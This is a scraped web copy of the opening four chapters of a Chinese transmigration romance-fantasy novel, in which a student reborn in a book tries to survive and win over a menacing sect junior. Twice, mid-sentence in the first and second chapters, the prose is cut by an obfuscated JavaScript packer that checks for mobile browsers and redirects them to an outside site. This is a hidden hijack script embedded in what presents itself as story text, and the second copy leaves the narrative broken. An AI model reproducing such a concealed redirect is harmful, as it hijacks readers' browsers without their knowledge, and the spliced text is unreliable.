《攻略的病娇师弟是朵黑莲花[穿书]》 1. 第1章 姜喻上学这会儿是个聪明“绝顶”的大学生,调侃头顶日益稀疏的头发,连蚊子站着都打滑。 熬夜是阎王叫你三更死,两更就报道去,主打大学牲的人情世故。 直到她真的猝死。 诚不欺她,她都想向老天再借五百年。 死亡前,她刚刚历经一场四级考、期末考、论文考的轮番轰炸。 风雨停歇的休憩时间,她在空无一人的宿舍躲在帘子后点开某绿色软件,期待点开《求妖》一书。 她越看越眉头紧锁,直至最后满目愁容地通宵看完。 BE的大结局意犹未尽,她捶胸顿足。纯属心痛浪费5个小时看完一整本烂尾的小说。 忽的胸痛难忍,一命呜呼。 明明,马上第一个没有寒假作业的生活就要开始了。 姜喻死了,但很快她遇上一个魂。 抹了一把脸上不存在的冷汗,“好巧啊,你也叫姜喻。” * 春光无限,人间三月。 云层万丈,暮色渐起,余晖隐落。枝桠无声崩裂,飞鸟穿行鸣啼在云层一晃而过。 长睫翕动,姜喻睁开眼,未看清身处何处,抬眼便与一只垂涎欲滴的饿狼对视,吓得她差点原地去世。 出于本能地转身夺路狂奔,一道纤细的绯红身影,于灌木丛中穿过,粗糙枝条划破上好的布料,脸颊被荆棘划伤,滚落血珠,脚下步伐由快渐缓。 她扶树留意逐步逼近的狼妖,口留晶莹唾液,火红舌头舔了舔锋利牙齿,狼嘶吼跳跃,一道阴影逼近。 我嘞个老天啦!怎么能让她开局玩命! 右眼皮狂跳不止,姜喻侧身滚在地面一周,连滚带爬地挪身折返九十度掉头另辟一路狂奔。 “啊啊啊啊——大哥,我身上没有几两肉又柴的很,吃了绝对、肯定塞牙。” 姜喻跑的眼前发黑发昏,大学体测800米4分35秒,她不过是勉强及格的成绩。 可危机当前,潜力无限,硬是让她几次有惊无险,没让狼妖得逞。 姜喻晕头转向,完全不顾前方何路,哪里没有树枝挡路遮掩,就往哪里跑。 “呲——”脚步急刹,红衣少女后怕地停歇脚步。 白日当空,她跑到路的尽头。 大概没有比她更惨的,马上领便当的穿书女了。 姜喻下意识屏息,小心翼翼探着脑袋望了一眼深不见底的高度,顿时脸色泛白,两腿不争气地发软。 山崖边,一个主角跳崖必备场景。可与她一个炮灰角色有什么关系! 狼妖停下来原地来回打转,亢奋的唾液随着大白牙流了一地,享受撕裂猎物前,猎物走投无路的快感。 眼看狼身蓄势待发的扑咬架势,在跳了崖求死和奋手一博求死里,姜喻力不从心地选择相信玄学。 这匹狼能不能一个跳跃给跌下去。 她回眸挤出一丝干笑:“灰太狼大哥你别吃我,我骨瘦如柴,气血不足,虚……” “呵。” 空气静默一瞬。 冷漠且揶揄的讥笑自它身后传来,绕在悬崖上似是一道亮闪闪金光的信号。 有人,说不定有救! 姜喻站起身,循声望去。 最后一抹斜阳穿透云层落在暗金色长靴,步履漫不经心踏碎金琼,持剑而出。少年随手拿着铜钱,指尖摩挲,反复抛起接在掌中心。 铜钱空中一转,金光一闪,少年狭长的丹凤眼内漆黑瞳仁定定地看向她,蓦然弯唇冷笑。 树叶婆娑,两者相望,视线交汇,时间恍若隔世凝滞了一瞬。 少年声音含笑,不偏不倚发问:“师姐让在下好找,师姐可猜猜,铜钱是正面,还是反面?” 姜喻听见熟悉的台词,一刹那怔愣原地,汗毛齐刷刷地竖起。 师姐,少年,铜钱…… 少年身穿玄色圆领袍缺胯袍,袖口黑色护腕束,袍摆纹有风格迥异的猛兽脚踏祥云,暗金蹀躞带束腰,衬得身材颀长,宽肩窄腰。 这身高,目光下移,那双腿比她小命都长。 原文描写的反派男二沈安之,容颜俊朗清逸,额前卷曲碎发,露出眉宇修长疏朗,透着英气和邪气。左耳骨缀单只精巧银饰耳夹,似龙似蛇盘踞,坠下两条熠熠生辉的玄红流苏。 银白色发冠中一根洗到发白的发带竖成高马尾,发带垂在他脑后,天生发尾卷曲染有一丝暗红,无端带有一丝少年放荡不羁的邪性。 笑起来分明是谁家意气风发的少年郎,却是恶鬼修罗的气质。 迈开暗金花纹长靴,沈安之喉结在阴影里滚动,染着薄茧的指腹慢条斯理地摩挲过铜钱剑身纹路,低沉嗓音故作耐心地再唤:“姜师姐?” 姜喻哆嗦苍白的嘴唇,音色发颤:“正面?” “不好意思,师姐,你猜错了。”他浅笑得满是遗憾,像是开了一个无足轻重的玩笑继续道,“只好请师姐和狼妖在我的剑下死去了。” 狼妖彻底被他激怒,冲上前撕咬他。 明明无人眨眼,铜钱铸成的剑光凌厉闪过,狼妖图留嚎叫一声,痛苦呜咽化作齑粉。 沈安之嘴角噙着冷笑,眼神彻骨寒冷,冷冷地看着她:“跳,或者我送你一程。” 压迫感的画面冲击太大,一步步过来的沈安之像出窍的寒刃威慑十足,姜喻特没有骨气的跌坐在地。 沈安之,《求妖》书中的反派男二,人帅心坏。 鹤门宗入门最晚,却是隐藏最深、天赋异禀的弟子。天生圣阴仙体,取之血肉则可炼丹、提升修为,双修则大补。十年后,他暴露身份遭人陷害追杀,黑化颠覆正反两道,嗜血屠杀,独霸天下。 他表面温柔纯良,除妖驱鬼,好一副正派人士。实际偏执病态,喜怒无常,爱好杀戮。文中描述道他开口问你铜钱正反,只是一个不足轻重的玩笑,说明他已然动了杀心。 妥妥一朵从里到外,没有一根头发丝不是的纯黑莲花。 负隅妄抗定徒劳,姜喻缓缓抬眼,明晃晃的剑光落下前小声啜泣,压低声音道:“我只说一句话。” 沈安之饶有兴趣的握紧剑柄,微歪头看清她脸颊血痕,出奇耐心地欣赏她临死前哀莫大于心死的神情。 干脆捂上眼睛,姜喻破罐子破摔怒喊:“沈安之,去你大爷的。” 声音落下的刹那,凌厉风声袭来。 狂风大作中山崖断出数条裂纹,轰隆巨响,姜喻浑身一抖,比疼痛先来的是失重感。 悲愤慌乱中,双手只来得及抓紧一片黑色衣角求生。 刺痛袭来,沈安之直接一剑划破她的手背,疼的姜喻倒吸一口冷气。 预料中的剧痛没有降临,姜喻成了魂魄状态,看见两具血迹斑斑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542527|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人影交叠。 不知所措地背过身时沈安之嘴唇嗫嚅了一下,反正说的肯定不是什么好话。 明明在发生以上事情的十分钟前,她还只是个普通的大一女大牲。 原主介绍,因为世界意识崩坏,书中世界交易这个世界的姜喻代替她完成任务。 惊讶于书中原主姜喻与她长相一致。精致鹅蛋脸,一双又大又圆的小鹿眼,高挺小巧的鼻子,脸部线条轮廓流畅,下巴小小圆圆,看起来毫无骨感。 即便当做大学牲了,也会在高中校门口被拉住发传单的减龄又幼态感的学生。 姜喻难以想象且震惊万分,书中的原主如何用着这张脸做出恶毒奇葩操作。 血衣斑驳的原主“姜喻”眼神犀利阴郁,从地狱爬出来的红衣女鬼似的,轻飘飘地站在她对面,说道:“攻略沈安之,阻止他灭世。成功回家;失败,你灵魂湮灭,不入轮回。” “我拒绝。”她只是一个简单的凡夫俗子。“不是,你都有钱有颜了,你为何不雇人杀了沈安之!” 盲点又一次发现了华生。 同名同姓的“姜喻”作为本书女二,身份是汇敛天下之财的风云城少城主,有钱且任性,杀一个沈安之对她不是轻轻松松,却找到她一个四肢不勤的大学牲干什么。 跪地给男配唱情歌?或者,征服也行吗? “姜喻”垂首促狭眼眸,无奈苦笑:“试过多次,无一成功,他死后世界一起灭亡。”再一次诱惑抛出橄榄枝:“啧。你已经死了,舍得下家人吗?完成任务我可以帮你重塑肉身,还你自由。” 奖励越丰厚,任务越难,画的大饼越大。 姜喻一下子噤声,不再多言反驳,她舍不得家人,舍不得才刚刚开始就凋谢的人生。 半晌,她不在犹豫,正经点头:“我答应你。” * 扭曲的场景再度分裂转换,像一幅幅光影撕碎的画卷,再一次聚点于黑暗,顺风扬起又瞬间扭曲落下铺展开来。 姜喻睁开眼,暂时安全。身边没有狼妖追逐,她完好无损的站在一棵树下。 一行还有两个人,警惕四周,与她并行走在一起。 除了男二沈安之,还有一位本文重点人物,她们的大师姐——顾疏雨。 顾疏雨第一时间发现姜喻顿住脚步,脸色苍白难看,圆亮的小鹿般眼眸蓄着光,失魂落魄地看向四周。 清泉潺潺流水般悦耳舒服的女声问道:“师妹身体可是不适?” 姜喻下意识抬眸,看清说话之人的容颜一时瞪大眼睛,水蓝色仙气长裙,统一的鹤门宗弟子服,她穿出独立于世、超凡脱俗之感。 她一眼认出,这便是外表清雅高冷,内里温柔善良,正义到发光发热的女主。 姜喻恍惚着,眼神飞速看向手背,光洁如新,没有一丝血痕,可疼痛感弥留在即。不自觉大口深呼吸,眼眶红了红,后怕地摇头垂首,挤出干笑:“没事的师姐。” 一侧沈安之冷哼一声,擦肩与她拉开出一大截距离,避她如蛇蝎。 姜喻飞速在大脑回忆书中描述,女二是鹤门宗符丹双修的修士,性格在主角团极其不讨喜,定位是恶毒无脑的作死反派女配。 最炸裂的是沈安之厌恶极了她,分分钟想方设法的想弄死她这个死对头,但碍于师姐情面才忍着没有动手。 毁灭吧,天要亡我。 2. 第2章 若是她早一点穿书,她能从小培养莲花染白。可惜现在故事开始,两人在书中是水火不容,你无我有,你死我笑的“师门情谊”。 姜喻手心冒汗,局促地摩挲衣袖,吸着鼻子瞥过脸。他鸦羽似的睫毛缓缓掀起,眼尾微挑,眸底凝着层化不开的阴翳,与她视线交汇。 姜喻感到莫名眩晕感袭来,攥紧湿濡的拳头,脚步定在原地,无法动弹。 这一刻,血液直冲到她的脑顶。 若山崖没有崩塌,当时的沈安之真的打算杀了她吗? 沈安之先一步不着痕迹错开眸光,对她古怪反应,似有若无地轻慢一笑。 今日姜喻一路未有一句喊苦喊累,更没颐指气使地使唤他。唇边嘲讽笑意不消,眼波寒澈凌然。 “好”师姐在憋什么坏幺蛾子…… 沈安之第一时间发觉顾疏雨担忧目光,关心地频频侧目看向姜喻,他微蹙眉宇,眼尾朱砂痣都沁着寒意,微不可察地顿住步伐转向姜喻,淡然问:“姜师姐,不如停下来休息一会。” 哪是问她的语气。 姜喻抬袖遮挡脸颊,抹去额间汗珠和湿润的眼角,光躲是不能解决问题的源头。 她赞成地点头,很不自然地坐在沈安之对面,顾疏雨自然而然夹在二人之间。平时两人私下斗气,她看在眼里。两人相处是分寸的小打小闹,大是大非尚未让人失望。 每次调解两人纷争,治标不治本。 姜喻本是风云城姜家娇宠度日,与她青梅竹马,顾疏雨眼神不自觉地放软,她拿出干粮递去,“师妹,你脸色不好,等会遇上狼妖躲我们身后。” 姜喻抽气地吸了吸鼻子,接过肉包捧在手心小口咬上。 顾疏雨不愧为全文最好的女主,这个大腿她一定要抱上。 她刚经历生命无常,大肠包小肠的大起大落,没什么胃口,牙关机械似的咀嚼和吞咽,“师姐,此次有多少狼妖?” “妖气在前面,看脚印和轮盘位置,狼妖所在数目不少。”顾疏雨自袖口持出一棕青相交的罗盘,银白色长针稳定指向前方。 “哦哦。”姜喻食不知味。 鼓动腮帮,食不下咽的神情,加上一副心不在焉的霜打茄子的模样正落在沈安之暗自观察眼中,冷不丁开口,就见对面之人吓得一跳,惊讶地看向他:“姜师姐,四周有果子,我给你摘点。” “多谢师弟的好意,我已经吃饱了。”最后一口全塞进嘴里,姜喻面色不显,内心怨念小人叽叽歪歪地从祖宗开始画圈。 感情是冲着她命来的人,她有胆拿他的果子,都没命吃。 “师姐今日病还未好吗?”沈安之慵懒掀起眼皮,语气戏谑。 姜喻条件反射地站起。 明眸转而颇有骨气地睨着沈安之,势必不落入下风看出她端倪。 “多谢师弟关心,我病早好了。”扭头看向顾疏雨,“师姐,我休息好了。” 三人重新出发,不消一会,狼声四起。 呼啸罡风狂暴,树木在她眼前连根拔起,妖法化作一道道流光坠入地底。 一刹那,发生的太快。 沈安之慵懒随性,指腹捏着一枚铜钱。它随着他的呼吸抛掷而出,转眼功夫,铜钱化作金光,回旋击中数颗狼妖的头颅,钻入体内,暴击狼身,最终飞回到他手背漂浮。 血肉飞溅倒地的狼妖飞速恢复原型站起来,周而复始。他们眼冒绿光,源源不断爬上断枝,张开血盆大口齐声嘶吼。 看清恶狼的獠牙比任何惊悚鬼片都骇人,几分钟前姜喻信誓旦旦绝不退缩,身陷血肉翻飞的画面里,她颤抖了一下。 姜喻,一个连条鱼都没有杀过的大学生。 仅仅是一条鱼,她能试试,可跳过新手阶段,杀妖怪什么,好比一阶打十阶怪,她又不是超神小智。 姜喻没能继承原主记忆。这年头,穿书好歹给一个金手指,她混不上这口热饭真的行吗? 平地一声惊天旱雷,狼妖的步伐停滞了一瞬。 倏然眼神清明,她脑海里混沌错乱的剧情拨乱反正,乱七八糟的故事线有条不紊的排列在她意识中。 姜喻不敢多疑,大声道:“师姐,古书记载,这种怨狼分身无穷无尽,唯有眼睛是它们致命弱点。” 沈安之铜钱剑祭出,正刺中狼妖眼睛。狼妖随之失去行动力,化作一摊恶臭的血水。 沈安之怀疑地回身,乜斜地看向她,眼底多了不易觉察地探究和疑惑。 霎那,地底振动。 地面如绽开蛛网裂璺,罡风卷起碎石迷眼,每一步退避,精准地循着他们的方向蔓延。 姜喻提起裙裾想跑,脚下一轻,又免费体验一回腾飞的失重感。 反诈诚不欺人:免费的东西最贵。 “啊——”她喊劈音尖叫,扑腾的手掌拍到软软绵绵的东西,一头扎进沼泽中。 怨狼首领站在岸边得意洋洋欣赏他的陷阱:“亡骨池,埋骨地,人修,你们死得其所。” 陷入沼泽最好不动,姜喻抬头极力控制急促的呼吸,稳住四肢。奈何沼泽下沉的速度极快,一盏茶的时间腰间陷到胸口,并且持续下沉。 “姜喻!你不可理喻!” 侧身余光一看,沈安之一副气到吐血的俊容,与她一拳之隔。 他身高腿长,下沉的更快,只剩下一颗头露出。 白皙硬朗的脸上透着几缕难堪窘迫的薄红,莹白耳垂挂一抹绯色,脸颊绯红一片。 怎么气成这样? 沈安之使出的法力瞬间被亡骨池吞噬,他五官逐渐冒血,阴森可怖,像只想吞吃了她的索命厉鬼。 亡骨池妖气入体,姜喻同样开始口鼻冒血,眼冒金星,口中发出闷哼地细细小小的呜咽。 又一次魂魄离体,姜喻眼前陷入沉寂的黑暗。 * 再一次迷糊掀开沉重眼皮,姜喻对上沈安之的视线,露出意味不明的笑。 沈安之面色没有嫌弃,人退后半步。 无语的时候,笑成了开解的出口。 她……又一次回溯了。 别人主角穿书和喝水一样简单,她送命就像别人呼吸一样轻松。 已老实,求放过。 她挪动身子,干笑着头靠近床根埋脸,忿忿地抬眸看沈安之。 像是要把他脸上假意笑容后看出个窟窿眼子。 沈安之皱眉,静静地探究她不和平日的一举一动。 按原主姜喻所说的无一成功竟然是时间回溯?若她不能完成任务,时间是不是不停地回溯。她很有可能永远滞留在这里,直到回溯到不可逆转的时间魂飞魄散。 姜喻强迫自己冷静,所以现在又给她干哪来了? 定神看清四周摆件与陈设,入目是一双冷幽的眸子。被顾师姐委任照顾姜喻的沈安之燥郁压下唇角,不冷不淡道:“姜师姐,风寒不适应多休息,此次不要参加此次伐妖了。” “师弟,我们伐的什么妖?” 似乎被她愚蠢的问题问的一愣,沈安之眼尾微挑,眸底却凝着化不开的幽寒:“说好定于半时辰后讨伐狼妖,莫非,你忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冲这份恩情,他从小到大、从生到死都刻骨铭心。 反观姜喻在文中描述里是腰缠万贯,汇笼天下之财的风云城少城主。自小受尽家族上下娇宠,只因天赋不佳,无法吸纳灵气结丹,修炼速度极差,造就背地遭人唏嘘非议,长歪成了争强好胜的个性。 至于能否追上顾疏雨的修为,原主选择用最粗暴的方式——灵石,砸钱一路砸进天下第一宗——鹤门宗的大门。 整个鹤门宗现如今有一半的资源靠着云城投资。 书中描述诚不欺她,除爱与比她大五岁的顾疏雨暗自比较外,姜喻体质极差。像之前对上一只狼妖,往后真正单枪匹马对上妖鬼,她都是毫无还手之力。如今剧情来到原主因嫉妒女主,便将恶意厌恶的目光放在沈安之身上。 后期,“她”一方面没实力,另一方面靠作死,一己之力得罪了所有人。连一同与她长大的顾疏雨对她都失望至极,有意疏离。 在沈安之黑化后,他轻飘飘看着手下抓到的原主,“师姐的人皮灯笼,喜欢挂在哪?” 后被他挑断手脚筋,活生生掐死做成人皮灯笼点灯,落得凄惨结局。 掐脖子,人皮灯笼,下场凄惨…… 简单的词汇构成她的死亡结局。 这便是病娇黑莲花的压迫感。 说句母道话,姜喻了解自己,刚入大学她是躺不平又支愣不起来的人。 3. 第3章 咬紧牙关隐忍声音的发颤,姜喻回以顾疏雨微笑:“师姐,听闻狼妖最是狡诈凶恶,我有一计。我们可雇和募集大批道友陪同上山,借势除妖。而且人多力量大,防止妖物引来其他东西。” “不合规矩。”顾疏雨微皱眉头拒绝了。 姜喻轻拉上她衣角,轻摇着,咧开嘴笑意盈盈:“师姐,师门的任务只说让我们完成任务,没有说以什么形式完成。我这一路舟车劳顿,雇人是保护我不触犯门规。师姐,你肯定不忍心看我受苦。” 沈安之微蹙起眉,姜喻怎么这么娇气? “……”顾疏雨一时沉默,竟觉得她说的有几分道理,自小姜喻锦衣玉食,何时委屈自己。 “师弟,你认为如何?” “按姜师姐的方法处理,我们哪找来这么多帮手?” “我已经有非常合适的人选……之一。”姜喻偷瞄着瞥向他,眼神示意,“我想雇师弟。” 笑声自喉头轻挤出来似的,他眼底寒意蔓延。 顾疏雨心底暗惊,视线来回在姜喻和沈安之打转。 现在氛围不太好,她说不上来。 沈安之顺着她的话再一次重问:“师姐打算雇师弟我?” 姜喻缩了缩脖子:“对,我雇师弟保护我天经地义。而且,不仅是你,我还打算雇其他人。” 老祖宗说的好,鸡蛋不能放在一个筐子里,得有居安思危的好心态。 姜喻自上一次死亡结束,脑海胡乱的狗虱剧情拼凑成一条整齐的剧情线排列在脑海中。 据她所知沈安之本次下山目的,一是他没有灵石可用,陪同顾疏雨历练赚取积分兑换灵石;二是想搜得几株灵草治疗他的顽疾。 灵石是修炼者必备的资源,作为本书男二的沈安之,没有背景可依,没有世家可依。既没有灵石,也更不可能购买起昂贵的灵草炼药。 “我给师弟出一千上品灵石。”姜喻考虑少了沈安之万一看不上…… “成交。” 姜喻想多了,几乎话音刚落沈安之就答应了。 狭长的丹凤眸极具蛊惑力地微眯,眉梢染上笑意,看着她的呆头鹅表情都顺眼了。 姜喻:你我本无缘,全靠我砸钱。 姜喻忍住上翘的嘴角,交代道:“我先付你一半的订金,事后再加两瓶灵药。” “可以。” 见两人互动,关系缓和,顾疏雨难得一笑,蓦地关切地望向姜喻:“我以为是我看错了,阿喻是喜欢师弟的。” 姜喻脸色刷白,她是什么很坏的小女骸嘛,心存不必要的幻想。 沈安之稠密纤长的长睫轻颤,微不可查的抿唇退后一步,亦当谨慎对待的无辜眼神。 面上都是戏,全是做给顾疏雨看的。 “他他他……”装模作样的全是我想表达的。 瞧着姜喻激动得染上绯红的脸颊,顾疏雨暗自确信,一路行动的所作所为,姜喻是在让沈师弟注意,且好话歹说,找了个合适的理由。 难得两人没有针锋相对,隐隐约约要化干戈为玉帛的架势,顾疏雨心满意足。 “师门情谊比什么都重要。” 姜喻噎的说不出口,结巴解释不是,反倒甚是此地三百两。 “师姐,我没有……” “我明白。”顾疏雨清雅地莞尔一笑,长辈似地轻拍了拍她蓬松的发顶。 * 又一次出现在同一条捉妖的路上,姜喻是不愿的。走之前,她把上至天帝,下到妈祖全拜了一遍。 明明前文男二沈安之实力在线,怎么和自己在一起就死了两次。又怕沈安之万一成了饿了么死亡外卖,便要她不断的回溯,任务永远没有进展。 姜喻暗暗发誓,不行,绝对不行。 她早有准备,偷偷拉开储物袋,全是保命的法器,散发着五颜六色的光辉。 头顶烈阳高照,四周茂林盘根错节,斑驳的光散落,切割在及腰杂草。虫鸟听见脚步声,各奔四散。 咔吃一声,踩断枝叶,脚步声在安静的丛林中显得参差不齐。 四周乌泱泱的围起的人,有高有矮,实力不差,全是姜喻在客栈用灵石雇来的道友。 狼妖群迟疑地按照原计划出现震惊呆住,狼狼面面相觑,他们第一次在狼妖脸上看出尴尬之色。 “玩意儿长真丑,大家攻击它们眼睛。”弱点告知完,姜喻缩小存在感,安慰自己一切都是假的躲到一旁。 看清她是人群保护的焦点,狼妖嗅着空气,绿森森眸子凶狠闪烁,猛冲攻击姜喻的方向。 呼啸呜咽的喊叫,姜喻强作镇定,一双脚却被一股力量死死定住,动弹不得。 嘈杂脚步中,逼得她抽出配剑一通乱挥,看见她手中长剑的剑气战略性地停顿。 姜喻庆幸之际瞳孔猛缩,逐渐放大飞扑向胳膊的狼妖转眼化作一道虚影。 循着反方向,沈安之的一腿,踢飞的它像一颗弹射起飞的皮球,重声地砸在地面。 沈安之身手飒爽利落,铜钱长剑迎风,剑光破风穿透铜钱孔“嗤嗤”作响,光影闪落在妍丽的眸中,姜喻下意识地闭上眼。 擦身而过的沈安之一剑横扫而过,脚踢落在狼妖柔软的腹部,剑光闪过他狠戾阴鸷的眸光。一剑刺中狼眼狼心,喷溅出来的液体溅在他的脚下。 他如阎罗降世。 沈安之喜色染上眉梢,眉宇间藏不住的兴奋和期待,手中的剑连同主人的心情微微战栗和亢奋。 他见妖杀妖,手法越来越凌厉狠辣,多数狼妖拦腰斩断,连一旁身经百战的老道长都吓得连连后退,避开这位少年郎。 直到周围空无一妖,沈安之方才慢慢地浅笑,意犹未尽地抛了一颗棕色硬糖含着,扭过头,目光凌厉冷意。眼神恍若把她当做弱小猎物轻慢冷漠注视着,仿佛有一把无形的手掐住她的脖子,饮血吃肉。 姜喻打了个哆嗦。 不消一会儿,一场鏖战硬生生在一刻钟内解决。 姜喻故作姿态,捂鼻子施施然走开,“狼血真是臭烘烘,大家各自躲远一点,可别一个个靠近染脏我的裙子。” 道长们是拿钱办事,虽看不惯小姑娘惺惺作态,但人家出手是上百个上品灵石,足够普通修士半年的开支。尊重有钱的是财主,各自三三两两的散开。 “沈安之,你记得保护我。”姜喻偏过头看向他,说的实在没有什么底气。 少年一口咬碎栗子糖,像是同时想咬碎她的脖颈。感受着唇齿间甜蜜的栗子味,他拔出剑,剑光闪过她的骤缩的瞳孔,乌黑血渍整齐甩落溅在距她一臂外的树干上。 沈安之疑窦丛生。 她刚刚,是不是喊出他全名了。 另一边,姜喻眼神就是尺,大致比量位置躲开之前的掉下去的地方,回过神暗道不妙,迟钝地改口:“师弟,你过来点。” 有意思,她想干什么了。 刹那,地动山摇,地石滚动。 彼时众人聚集的地面 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心绪不安,顿时感觉脖子皮肤一块凉飕飕的,似是有人不停往自己脖颈吹着冷气。 “呼——” “!!!” 姜喻心惊胆颤得咽下唾沫,身子侧身缩成一团,竭尽全力避开那股阴风。 阴风阵阵,直往她骨头里钻。 头顶时不时有松动的石头掉落,“啪嗒”“啪嗒”地砸到地底,发出沉闷的动静。 昏暗中,反射的微光一闪而过,划破出明显的风声。 阴风没了。 眸光条件反射地转向刚刚眼花之处,耳坠银饰的微光和发红的穗子摇晃。 黑暗里,慢慢露出带着一丝不达眼底冷笑的妖孽脸。 少年双手环胸,微红卷曲的发尾在空中划出一抹温热弧度,站在铜钱剑上。清俊挺拔的身影微弯腰俯身,默自勾了下唇,跳到另一条树根。姿态慵懒,冷漠视线不偏不倚的睨着她,不怒自威的压迫感,仿佛无形的一掌蜷捆她的脖子用力收缩。 “你——你是师弟吗?” “师姐,不是你喊我救你吗?”笑得腔调散漫,他目光略斜,口气三分讥诮,七分冷淡。 救人,对他来说顺手的事情。 “你说句话喊喊我也好。”姜喻手上的宝珠哆嗦地差点脱力,强装镇定地抬眸。 沈安之促狭着丹凤眼,泛着摄人心魄的淡漠浅笑:“看师姐动作太……有趣。” 姜喻握紧拳头,她快死了就有趣了。 惹到她,算他踢到棉花了。 “师姐,往下看看。” 姜喻定睛一看,身下枯枝纹理纵深沟壑,形成一张张尖叫扭曲的脸,有男有女有老有少。 穿书的惊悚程度,真的是看得起她。 姜喻呆住片刻,扭头看向唯一的求生路。 “师弟,能不能拉我一把。” 沈安之不为所动。 姜喻眼角沁着水液,鹿眼央求看着他,俏丽容颜撞入眼帘,一袭绯红长裙衬得肤如羊脂玉,乌亮眼瞳微光粲然。 真像啊。 剥开之前,谁能知道浑身是刺的底下藏着最好吃的板栗。 可惜,是颗剧毒的板栗。 沈安之干脆跳上剑,本欲收回视线,勾唇冷笑地拽住伸来颤抖的手。 4. 第4章 姜喻反握紧他的手,掌心虎口有一层后茧,是练剑留下的,她借着他的力气站起来。 她抬眸,他眸底情绪晦暗不明。 沈安之缓缓提气运力,而后她半个人悬挂在半空。 “沈、安、之!你别放手。” 瞪大眼对上紧盯着她的双眸,泛着幽冷光泽的丹凤眼,本能紧紧攥着他的手掌。 不能让他把自己丟下去! 她怕痛。 姜喻跳揺而起后像只树懒精准地抱住沈安之胸膛,紧张咽了咽了口唾沫,毫无顾忌地成为小挂件。 垂下长睫,她脏兮兮的脸上流露出喜极而泣,抱着他的力度不重,可是用了她十足的力气。 太好了,活下来了。 少年衣襟特有的皂角香漫在鼻翼,外面看起来纤细,胸部肌肉却紧实有力,磕的下巴她微红,耳边是他的呼吸,不知不觉交缠在一起。 她心绪飞到小时候在单杠上上窜下跳,现在救了她一命。 沈安之嗓音低沉喑哑,眸光不明,垂首看着她毫无形象地抱着自己,“师姐还要抱到什么时候?” 两个人或多或少暧昧的姿势。 姜喻烫着似地放开抓着他手腕的双手,缩回放在背后,身子却下意识轻颤,靠近他,娇嫩白皙的小手迟疑地攥紧他腰带:“师弟对我是不是有误会。” “我和师姐能有什么误会?”沈安之见她抓着地方,一抹幽光在眸底闪过。 让他反问一道,姜喻擦了擦酸涩的眼尾,身体尚存余悸:“你刚刚……我怕高。” “师姐。”沈安之弯腰靠近,纯良一笑,指了指树根底下,自铜钱剑上跃下。长靴踩在泥土上,“一米。师弟是高估这个距离,让师姐害怕了。”故意加重害怕两字。 像毒蛇缠绕脖子。 一刹那,就怕空气突然安静。 姜喻脸上一热,她哪知道就这么高点:“是我不对,误会师弟了。” 难不成是上辈子她总是摸鱼听课,惩罚她这辈子攻略这个妖孽。 铜钱剑稳稳落地。 姜喻的腿一软,沈安之见状礼貌而不耐地扶稳她。 姜喻感觉到他炽热的体温从掌心传出,顺着节骨分明的手看去,宛如上好的白玉落点梅花,干涸的狼血尤为碍眼。 他不着痕迹地收回手,“师姐,出去后记得清算灵石。” 姜喻长吐出一口浊气,点了点头,“放十万颗心,我不会忘记。”想到什么,她拉着沈安之的衣袖轻扯了扯,“我回顾从前,脾气娇惯时做了对不住的事情我会……”补偿二字她说不出,“我会负责到底。” 见她“乖顺”收敛爪牙的样子,沈安之眸光意味不明,“师姐的意思,什么都可以?”迈步倾身微微弯腰,阴影笼罩她时是十足的压迫感。 “???”姜喻干笑了两声,总有种给自己挖坑的赶脚,“除了要我命,除了烧杀抢掠……” 沈安之冷笑一声,指尖拿出一枚铜钱翻转把玩,二话没说从指尖弹射出去。 身体快过意识,她一躲,一头狼妖从天而降利爪落在了她刚刚坐的地方。 得嘞,她还跟妖孽有了微妙的“默契”。 她明白,人在无语的时候真会莫名其妙笑一笑。 姜喻跑到他身后,探出脑袋:“我能不能用灵石开启你下次危机的友善提醒吗?”不然真是要命。 “未尝不可。” “一百颗上品灵石……”补充道,“得是永久有效版本。” “可。” 姜喻在他身后看了眼狰狞可怖的狼妖,透过捂脸的指缝悄然仔细地观察着挡在身前的沈安之。 她手心发着微光宝珠足以让她看清沈安之。 沈安之微微眯眼,轻挑眉,饶有兴趣地舔了舔唇瓣,体内躁动的血液似乎在妖出现的一刹那被点燃。 剑光所到之处,狼妖颓然倒地。利落拔剑时带出的血肉染上他的玄衣消失,那双丹凤眼盈满着阴鸷与阴湿。 沈安之杀的乏味时从袖口掏出一颗栗子糖抛进嘴中慢慢咀嚼,硬糖与牙齿相撞后发出嘎吱声,在这血腥的一幕中像被短暂的按停了暂停键。 “一些妖力制造出来的傀儡,真是无趣。” 杀死最后一只,沈安之回眸看向她。 “师姐,你在发抖?”似乎是嗜血之余的新乐趣,他多看了她两眼。 姜喻没想到自己下意识抖动都让他惊觉,按捺住一颗害怕的心,抬眸挤出一丝笑来,“区区狼妖……” “是吗?”沈安之话音落下,一步步走向她,手指抬起她一缕秀发轻轻捻动,她长睫轻颤。 任由秀发在指缝滑落。 先前胳膊被狼妖利爪划伤,他对受伤视而不见,本是赏心悦目的面容,此刻脸颊溅落狼血。 欣赏着她的表情,看见她瑟缩一下,他莫名有种兴奋。 沈安之发出低沉的笑声,“走吧,别浪费时间。” 两人一前一后走进一条狭隘的甬道。 甬道里,姜喻能清晰地听清沈安之体力消耗后逐渐加重的呼吸,她虚虚地拉扯了一下沈安之的袖摆,对上他的视线,她虽有些害怕依旧强忍着没有放开。 沈安之压下眉宇阴森,“师姐有何事?” “我的储物袋有很多治疗的东西,但我分不清具体功效,你的伤不能再拖延了。”姜喻闻到他身上的血腥味,鼻子又酸又难受。 “师姐,这不重要。” 受伤还不重要? “我可以发誓绝不抵扣你的灵石。而且,你的命对于师姐很重要。”不能随随便便回溯了。 